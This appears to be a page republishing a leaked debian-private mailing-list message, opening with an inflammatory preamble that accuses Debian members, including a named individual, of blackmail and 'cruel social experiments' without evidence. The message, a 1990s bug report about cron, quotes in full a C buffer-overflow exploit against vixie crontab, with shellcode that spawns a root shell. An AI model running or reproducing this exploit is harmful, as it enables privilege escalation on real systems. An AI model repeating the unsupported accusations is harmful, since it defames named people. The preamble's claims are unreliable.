The debian-private mailing list leak, part 1. Volunteers have complained about Blackmail. Lynchings. Character assassination. Defamation. Cyberbullying. Volunteers who gave many years of their lives are picked out at random for cruel social experiments. The former DPL's girlfriend Molly de Blanc is given volunteers to experiment on for her crazy talks. These volunteers never consented to be used like lab rats. We don't either. debian-private can no longer be a safe space for the cabal. Let these monsters have nowhere to hide. Volunteers are not disposable. We stand with the victims.
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Re: need volunteer to diagnose cron

Christoph Lameter writes:
> bruce >Steve Greeland is away from home and can not support cron for a month or so.
> bruce >His last change was small - adding a SIGPIPE handler for syslog, he says.
> bruce >Currently, we have several reports that cron dies after 1 minute. Someone
> bruce >please investigate this and fix it.

> I am using debian 1.2 on a pretty heavy duty server and cron seems fine to
> me.

Please, test the following program. If it gives you root access (it did for
me and I reported this as a bug) we have to worry about cron even more.

Michael

/* vixie crontab buffer overflow for RedHat Linux
 *
 * I dont think too many people know that redhat uses vixie crontab.
 * I didn't find this, just exploited it.
 *
 *
 * Dave G.
 * <daveg@escape.com>
 * http://www.escape.com/~daveg
 *
 *
 */

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>

#define DEFAULT_OFFSET          -1240
#define BUFFER_SIZE             100     /* MAX_TEMPSTR is 100 */
#define HAPPY_FILE              "./Window"

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   int fd;
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;
  u_char execshell[] =
   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";



/*
 * The sscanf line reads for 'name' as %[^ =].  Neither a space, nor
 * a '=' character appears below
 */


   int i;
   int ofs = DEFAULT_OFFSET;

   /* if we have a argument, use it as offset, else use default */
   if(argc == 2)
      ofs = atoi(argv[1]);
   else if (argc > 2) {
      fprintf(stderr, "egg [offset]\n");
      exit(-1);
   }
   /* print the offset in use */
   printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   /* fill start of buffer with nops */
   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
   ptr += BUFFER_SIZE-strlen(execshell);
   /* stick asm code into the buffer */
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];

   addr_ptr = (long *)ptr;
   for(i=0;i < (878/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr++ = '=';
   *ptr++ = 'X';
   *ptr++ = '\n';
   *ptr = 0;
   printf("Writing to %s\n", HAPPY_FILE);

   fd = open(HAPPY_FILE, O_WRONLY|O_CREAT, 0666);
   write (fd, buff, strlen(buff));

   close(fd);

   execl("/usr/bin/crontab","crontab",HAPPY_FILE,NULL);
   /* Successful completion */
   exit(0);
}



-- 
Michael Meskes                         | Projekt-Manager
meskes@topsystem.de                    | topsystem Systemhaus GmbH
meskes@debian.org                      | Europark A2, Adenauerstr. 20
Go SF 49ers! Use Debian GNU/Linux!     | 52146 Wuerselen


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